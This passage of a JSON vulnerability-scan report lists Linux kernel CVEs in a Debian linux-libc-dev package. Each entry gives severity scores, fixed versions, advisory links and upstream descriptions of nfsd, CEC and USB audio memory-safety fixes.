"https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2532103", "https://bugzilla.redhat.com/2532111", "https://bugzilla.redhat.com/2532218", "https://bugzilla.redhat.com/2532219", "https://bugzilla.redhat.com/2532231", "https://bugzilla.redhat.com/2532272", "https://bugzilla.redhat.com/show_bug.cgi?id=2436771", "https://bugzilla.redhat.com/show_bug.cgi?id=2497032", "https://bugzilla.redhat.com/show_bug.cgi?id=2499742", "https://bugzilla.redhat.com/show_bug.cgi?id=2502222", "https://bugzilla.redhat.com/show_bug.cgi?id=2502411", "https://bugzilla.redhat.com/show_bug.cgi?id=2502476", "https://bugzilla.redhat.com/show_bug.cgi?id=2502593", "https://bugzilla.redhat.com/show_bug.cgi?id=2516705", "https://bugzilla.redhat.com/show_bug.cgi?id=2521498", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2532103", "https://bugzilla.redhat.com/show_bug.cgi?id=2532111", "https://bugzilla.redhat.com/show_bug.cgi?id=2532218", "https://bugzilla.redhat.com/show_bug.cgi?id=2532219", "https://bugzilla.redhat.com/show_bug.cgi?id=2532231", "https://bugzilla.redhat.com/show_bug.cgi?id=2532272", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23103", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53360", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53365", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64035", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64115", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72317", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74705", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89530", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89675", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89676", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89690", "https://errata.almalinux.org/10/ALSA-2026-77690.html", "https://errata.rockylinux.org/RLSA-2026:77690", "https://git.kernel.org/linus/62c0f6eaf050bb9284c1f9cac6ed1770092e6b95%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89675.mbox", "https://git.kernel.org/stable/c/62c0f6eaf050bb9284c1f9cac6ed1770092e6b95", "https://git.kernel.org/stable/c/9031493ef7369d5c59c4bacc96f0c85965f09a98", "https://git.kernel.org/stable/c/a385cf5e016b748babf94cc664e43a26e17db117", "https://linux.oracle.com/cve/CVE-2026-89675.html", "https://linux.oracle.com/errata/ELSA-2026-77690.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89675", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-89675" ], "PublishedDate": "2026-09-11T20:19:54.143Z", "LastModifiedDate": "2026-10-19T09:18:05.75Z" }, { "VulnerabilityID": "CVE-2026-89676", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89676", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:40a4f089f8dd93e7e17b4525e02bb239080a41ffe57883101b381f23d496b47c", "Title": "kernel: nfsd: fix stale s2s_cp_stateids IDR entry for async COPY", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: fix stale s2s_cp_stateids IDR entry for async COPY\n\nFor an async COPY, nfsd4_copy() called nfs4_init_copy_state() before\ndup_copy_fields(), so the s2s_cp_stateids IDR was pointed at\n\u0026u-\u003ecopy-\u003ecp_stateid -- memory in the per-rqstp COMPOUND buffer that is\nreused by the next request. dup_copy_fields() copies only the value into\nasync_copy, so the IDR slot dangled at the transient buffer for the whole\nbackground copy. Any IDR walker then dereferences reused request memory:\nthe laundromat reads cs_type from it and, if the bytes look like an\nexpired NFS4_COPYNOTIFY_STID, follows into\nrefcount_dec()/idr_remove()/kfree() on garbage; manage_cpntf_state() has\nthe same exposure via idr_find().\n\nDuplicate the fields first, then register the stateid on the stable\nasync_copy. result-\u003ecb_stateid is unchanged.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "bottlerocket": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89676", "https://access.redhat.com/errata/RHSA-2026:77690", "https://access.redhat.com/security/cve/CVE-2026-89676", "https://bugzilla.redhat.com/2436771", "https://bugzilla.redhat.com/2497032", "https://bugzilla.redhat.com/2499742", "https://bugzilla.redhat.com/2502222", "https://bugzilla.redhat.com/2502411", "https://bugzilla.redhat.com/2502476", "https://bugzilla.redhat.com/2502593", "https://bugzilla.redhat.com/2516705", "https://bugzilla.redhat.com/2521498", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2532103", "https://bugzilla.redhat.com/2532111", "https://bugzilla.redhat.com/2532218", "https://bugzilla.redhat.com/2532219", "https://bugzilla.redhat.com/2532231", "https://bugzilla.redhat.com/2532272", "https://bugzilla.redhat.com/show_bug.cgi?id=2436771", "https://bugzilla.redhat.com/show_bug.cgi?id=2497032", "https://bugzilla.redhat.com/show_bug.cgi?id=2499742", "https://bugzilla.redhat.com/show_bug.cgi?id=2502222", "https://bugzilla.redhat.com/show_bug.cgi?id=2502411", "https://bugzilla.redhat.com/show_bug.cgi?id=2502476", "https://bugzilla.redhat.com/show_bug.cgi?id=2502593", "https://bugzilla.redhat.com/show_bug.cgi?id=2516705", "https://bugzilla.redhat.com/show_bug.cgi?id=2521498", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2532103", "https://bugzilla.redhat.com/show_bug.cgi?id=2532111", "https://bugzilla.redhat.com/show_bug.cgi?id=2532218", "https://bugzilla.redhat.com/show_bug.cgi?id=2532219", "https://bugzilla.redhat.com/show_bug.cgi?id=2532231", "https://bugzilla.redhat.com/show_bug.cgi?id=2532272", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23103", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53360", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53365", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64035", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64115", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72317", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74705", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89530", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89675", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89676", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89690", "https://errata.almalinux.org/10/ALSA-2026-77690.html", "https://errata.rockylinux.org/RLSA-2026:77690", "https://git.kernel.org/linus/d0beaee498e11880e72826026db0e9c9890fc114%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89676.mbox", "https://git.kernel.org/stable/c/14b978e8d05ce018d0afbeb6611833ef91713a02", "https://git.kernel.org/stable/c/745b2edfdd96b8738a94dee450adff4c7d026d5b", "https://git.kernel.org/stable/c/7aa34ea78f74e6ef60c8112635a87fc43d57f6c9", "https://git.kernel.org/stable/c/9b4e5e9ba5ae13808b8a6d229d87c54611ba0e7a", "https://git.kernel.org/stable/c/bdce362f49410b9def65d76c21f6259cd89696d8", "https://git.kernel.org/stable/c/d0beaee498e11880e72826026db0e9c9890fc114", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-dtxo0jiaqv7j.toml", "https://linux.oracle.com/cve/CVE-2026-89676.html", "https://linux.oracle.com/errata/ELSA-2026-77690.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89676", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89676" ], "PublishedDate": "2026-09-11T20:19:54.273Z", "LastModifiedDate": "2026-10-30T13:20:25.82Z" }, { "VulnerabilityID": "CVE-2026-89690", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89690", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6f0b0c07393cae850facea8339aa6df6461da3b2a382f2ac1ee92488e9331cdd", "Title": "kernel: nfsd: defer vfree of compound ops to fix rpc_status UAF", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: defer vfree of compound ops to fix rpc_status UAF\n\nThe rpc_status netlink dumpit walks every in-flight svc_rqst under\nrcu_read_lock and, for NFSv4 requests, reads opnums out of\nargs-\u003eops[]. But args-\u003eops is a separate vmalloc buffer freed\nsynchronously by vfree() in nfsd4_release_compoundargs() at the end\nof every compound. The dumpit's rcu_read_lock pins the svc_rqst\nstruct itself (freed via kfree_rcu), but nothing defers the vfree\nof the ops buffer across the RCU grace period. A concurrent compound\ncompletion can therefore free the buffer while the dumpit is reading\nit — a use-after-free on vmalloc memory.\n\nThe trailing seqcount recheck (smp_load_acquire of rq_status_counter)\ncannot undo a load that already retired against freed memory.\n\nFix by replacing vfree(args-\u003eops) with kvfree_rcu_mightsleep(), which\ndefers the free until after an RCU grace period. This makes the\nexisting rcu_read_lock in the dumpit sufficient to protect the read.\nThe tradeoff is that completed compound ops buffers (up to\n200 * sizeof(struct nfsd4_op)) persist in memory slightly longer,\nacross one grace period, before being reclaimed.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:77689", "https://access.redhat.com/security/cve/CVE-2026-89690", "https://bugzilla.redhat.com/2436771", "https://bugzilla.redhat.com/2497032", "https://bugzilla.redhat.com/2499742", "https://bugzilla.redhat.com/2502222", "https://bugzilla.redhat.com/2502411", "https://bugzilla.redhat.com/2502476", "https://bugzilla.redhat.com/2502521", "https://bugzilla.redhat.com/2502593", "https://bugzilla.redhat.com/2516705", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2532103", "https://bugzilla.redhat.com/2532111", "https://bugzilla.redhat.com/2532218", "https://bugzilla.redhat.com/2532231", "https://bugzilla.redhat.com/show_bug.cgi?id=2436771", "https://bugzilla.redhat.com/show_bug.cgi?id=2497032", "https://bugzilla.redhat.com/show_bug.cgi?id=2499742", "https://bugzilla.redhat.com/show_bug.cgi?id=2502222", "https://bugzilla.redhat.com/show_bug.cgi?id=2502411", "https://bugzilla.redhat.com/show_bug.cgi?id=2502476", "https://bugzilla.redhat.com/show_bug.cgi?id=2502521", "https://bugzilla.redhat.com/show_bug.cgi?id=2502593", "https://bugzilla.redhat.com/show_bug.cgi?id=2516705", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2532103", "https://bugzilla.redhat.com/show_bug.cgi?id=2532111", "https://bugzilla.redhat.com/show_bug.cgi?id=2532218", "https://bugzilla.redhat.com/show_bug.cgi?id=2532231", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23103", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53360", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53365", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64035", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64115", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64162", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72317", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89530", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89690", "https://errata.almalinux.org/9/ALSA-2026-77689.html", "https://errata.rockylinux.org/RLSA-2026:77689", "https://git.kernel.org/linus/fca26a3fc19ed02278aa2a150af82d43db0302cb%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89690.mbox", "https://git.kernel.org/stable/c/19413ccc45070a7270b9e25c2a258daf7f91de42", "https://git.kernel.org/stable/c/48f72aff24f7a7329209dc6cbc27c869f3e3595c", "https://git.kernel.org/stable/c/6703199f4d7e7f37d6a726a849eb358e8fae72fb", "https://git.kernel.org/stable/c/fca26a3fc19ed02278aa2a150af82d43db0302cb", "https://linux.oracle.com/cve/CVE-2026-89690.html", "https://linux.oracle.com/errata/ELSA-2026-77690.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89690", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89690" ], "PublishedDate": "2026-09-11T20:19:56.03Z", "LastModifiedDate": "2026-10-19T09:18:07.5Z" }, { "VulnerabilityID": "CVE-2026-89708", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89708", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5a40cd0d31984371e6da6fa9631ce1ab2c4116cae103beb2c51e55e7b0a95433", "Title": "kernel: nfsd: RCU-protect cl_cb_session to fix use-after-free on session teardown", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: RCU-protect cl_cb_session to fix use-after-free on session teardown\n\nAfter a DESTROY_SESSION the per-session teardown path can free a\nsession while rpciod still holds an inflight callback rpc_task that\ndereferences clp-\u003ecl_cb_session. nfsd4_probe_callback_sync() flushes\ncl_callback_wq, but once nfsd4_run_cb_work() has called\nrpc_call_async() the rpc_task lives on rpciod; flushing the workqueue\ndoes not wait for it. rpc_shutdown_client() does drain rpciod tasks,\nbut uses a 1-second wait_event_timeout — tasks stuck in rpc_delay()\n(e.g. 2-second NFS4ERR_DELAY retries) can outlive the drain.\n\n destroy path rpciod\n ------------ ------\n unhash_session(ses)\n nfsd4_probe_callback_sync(clp)\n flush_workqueue(cl_callback_wq)\n /* returns; rpc_task still live */\n nfsd4_put_session_locked(ses)\n free_session(ses) -\u003e kfree(ses)\n nfsd4_cb_sequence_done()\n reads cb_clp-\u003ecl_cb_session\n /* freed slab */\n\nA second window exists in nfsd4_process_cb_update(). When\n__nfsd4_find_backchannel() returns NULL because unhash_session() has\nalready removed the destroyed session from cl_sessions,\nsetup_callback_client() takes the v4.1 early return so\nclp-\u003ecl_cb_session = ses never fires and the field retains a pointer\nto the about-to-be-freed session.\n\nFix both by converting cl_cb_session to an RCU-protected pointer:\n\n - Move the cl_cb_session = ses assignment in setup_callback_client()\n to after rpc_create() succeeds, so it is only published when a\n working backchannel exists. Clear cl_cb_session on the error\n return in nfsd4_process_cb_update(). Both stores use\n rcu_assign_pointer().\n\n - Annotate cl_cb_session with __rcu. All rpciod-side readers use\n rcu_read_lock()/rcu_dereference() and check for NULL, bailing to\n the appropriate error or requeue path:\n encode_cb_sequence4args(), decode_cb_sequence4resok(),\n nfsd41_cb_get_slot(), nfsd41_cb_release_slot(),\n nfsd4_cb_prepare(), and nfsd4_cb_sequence_done().\n\n - Switch __free_session() from kfree() to kfree_rcu() so the\n session slab is not reclaimed until after an RCU grace period,\n guaranteeing that rpciod readers inside rcu_read_lock() never\n dereference freed memory.\n\n - Pass the session pointer to the nfsd_cb_seq_status and\n nfsd_cb_free_slot tracepoints instead of having them re-read\n cl_cb_session.\n\n - nfsd4_cb_prepare() calls rpc_exit() when the session is NULL,\n routing through the done/release path to requeue the callback.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "bottlerocket": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89708", "https://access.redhat.com/security/cve/CVE-2026-89708", "https://git.kernel.org/linus/01c5d5f58a5db9b0ee5afba2e49d3157788687b2%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89708.mbox", "https://git.kernel.org/stable/c/01c5d5f58a5db9b0ee5afba2e49d3157788687b2", "https://git.kernel.org/stable/c/13bdd486c3aad4fc19e6d8b9c3556a4b4c190b25", "https://git.kernel.org/stable/c/2775ec1d617e665eab71ce0f13ab1f7959713a2b", "https://git.kernel.org/stable/c/f164eb52b6f3cbf40f07fe379f9f421f88e02f76", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-yzlrrzxyudiw.toml", "https://linux.oracle.com/cve/CVE-2026-89708.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89708", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89708" ], "PublishedDate": "2026-09-11T20:19:58.14Z", "LastModifiedDate": "2026-10-19T09:18:09.59Z" }, { "VulnerabilityID": "CVE-2026-89713", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89713", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a1a506c5ef3a73a589b5513e5f37a036764e4f761ff658b95dc1391959b966e1", "Title": "kernel: NFSD: check truncate permission under inode lock", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nNFSD: check truncate permission under inode lock\n\nnfsd_setattr() checks whether a size update needs NFSD_MAY_TRUNC\nbefore it takes inode_lock(). The comparison uses the file size sampled\nby that unlocked read, but the actual ATTR_SIZE update is applied later\nunder inode_lock() by notify_change().\n\nThis leaves a TOCTOU window for append-only files. If a client sends a\nSETATTR that does not shrink the file at the time of the unlocked\nsample, a concurrent append can extend the file before nfsd_setattr()\ntakes inode_lock(). notify_change() then applies a real truncation\nwithout the NFSD_MAY_TRUNC check that rejects IS_APPEND(inode). The VFS\ntruncate syscall paths perform their own append-only checks before\ncalling notify_change(), so NFSD must make this decision against the\nlocked size it is about to change.\n\nSplit the write-count acquisition from the truncation permission check.\nKeep get_write_access() before the locked setattr work, then recheck\nwhether the requested size is below i_size_read(inode) after inode_lock()\nhas been acquired and before notify_change(ATTR_SIZE). This also avoids\nthe plain unlocked inode-\u003ei_size load.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89713", "https://git.kernel.org/linus/b778e0e0a16759f22a70579c3cf8d254a40d4a7f%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89713.mbox", "https://git.kernel.org/stable/c/0669861a2e8e2bdb9c1149417d8ad821996ae4fe", "https://git.kernel.org/stable/c/3afa17d93ba8c925f49370c816c6dae5112d8c24", "https://git.kernel.org/stable/c/44086254479035de42ca3d286ecf25521d4e6325", "https://git.kernel.org/stable/c/52d0c5bdfe232c9974d4b11f97078b9c7814f05d", "https://git.kernel.org/stable/c/b778e0e0a16759f22a70579c3cf8d254a40d4a7f", "https://git.kernel.org/stable/c/d8352da196349182e1afd5a93308256cddc0a97d", "https://linux.oracle.com/cve/CVE-2026-89713.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89713", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89713" ], "PublishedDate": "2026-09-11T20:19:58.743Z", "LastModifiedDate": "2026-10-30T13:20:27.27Z" }, { "VulnerabilityID": "CVE-2026-89725", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89725", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:03a226e54df99f5984be000c817afd3f76e82c1a1b1e8c56f41e437f590e0009", "Title": "kernel: media: cec: stm32: prevent out-of-bounds write on RX overflow", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: cec: stm32: prevent out-of-bounds write on RX overflow\n\nstm32_rx_done() appends each received CEC byte to rx_msg.msg[] using\nrx_msg.len as the write index, incrementing it on every RXBR\n(receive-byte-ready) interrupt without checking it against the buffer\nsize:\n\n\tcec-\u003erx_msg.msg[cec-\u003erx_msg.len++] = val \u0026 0xFF;\n\nrx_msg.msg[] is a fixed CEC_MAX_MSG_SIZE (16) byte array in struct\ncec_msg, and rx_msg.len is only reset on RXACKE/RXOVR or after a\ncompleted message (RXEND). The number of bytes received before RXEND is\ndecided by the remote CEC device (it sets EOM), not by the driver. A\npeer that keeps sending bytes without ending the message drives RXBR\nrepeatedly, pushing rx_msg.len past 16 and writing peer-controlled bytes\nout of bounds into the surrounding memory. This is reachable in normal\noperation once the driver has probed and receiving is enabled, from the\nIRQ thread, without any local privilege.\n\nThe length check in the CEC core runs on the consumer side, after the\nbyte has been stored, so it does not prevent the overflow. Bound the\nindex in the driver before the store, as the other platform CEC drivers\nalready do (e.g. tegra_cec), dropping the excess bytes of an overlong\nframe.\n\nFound by static analysis tool CodeQL.", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89725", "https://git.kernel.org/linus/fb9dda38d4b9e90db07ed9a0ee2d35bf85494035%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89725.mbox", "https://git.kernel.org/stable/c/0c260d3f97e52978a8c769bb095ac0901333a3ac", "https://git.kernel.org/stable/c/1b4fdefd788db990d1805feb5c7b2388de791ecd", "https://git.kernel.org/stable/c/37ac45f7d6e3a6a5dcf6452a0b7bad9a543e8344", "https://git.kernel.org/stable/c/3df1a4026662121011187247897fe95fd84e8a3a", "https://git.kernel.org/stable/c/a85ce3b175615c2e13bc01e8a1b6b6b6910fde57", "https://git.kernel.org/stable/c/c3edd7fb8e3692423a702705509947fc9c30b3d1", "https://git.kernel.org/stable/c/f2499b720ea9b874d58770885c6c2e8445a8c3ef", "https://git.kernel.org/stable/c/fb9dda38d4b9e90db07ed9a0ee2d35bf85494035", "https://nvd.nist.gov/vuln/detail/CVE-2026-89725", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89725" ], "PublishedDate": "2026-09-11T20:20:02.567Z", "LastModifiedDate": "2026-10-19T09:18:13.663Z" }, { "VulnerabilityID": "CVE-2026-89736", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89736", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a5ce0e2d4e4f02c72c6528ce7f03eb39758f396379331f9f0908a8f51b78b575", "Title": "kernel: usb: gadget: u_audio: Fix use-after-free on sound card disconnect", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: gadget: u_audio: Fix use-after-free on sound card disconnect\n\ng_audio_cleanup() invokes snd_card_free_when_closed() to initiate sound\ncard teardown and immediately frees the underlying struct snd_uac_chip\ncontext. However, snd_card_free_when_closed() returns asynchronously\nwhile ALSA control elements (kctls) remain open in userspace.\n\nWhen userspace control applications access or close these open file\ndescriptors, kctl callbacks attempt to dereference kctl-\u003eprivate_data\npointing to \u0026uac-\u003ec_prm or \u0026uac-\u003ep_prm within the freed uac structure,\nresulting in a use-after-free (UAF) memory corruption.\n\nFix this issue by deferring the destruction of struct snd_uac_chip until\nall references to the ALSA sound card are released. Register a custom\ncard-\u003eprivate_free callback (u_audio_card_free) during g_audio_setup()\nthat frees uac and its associated 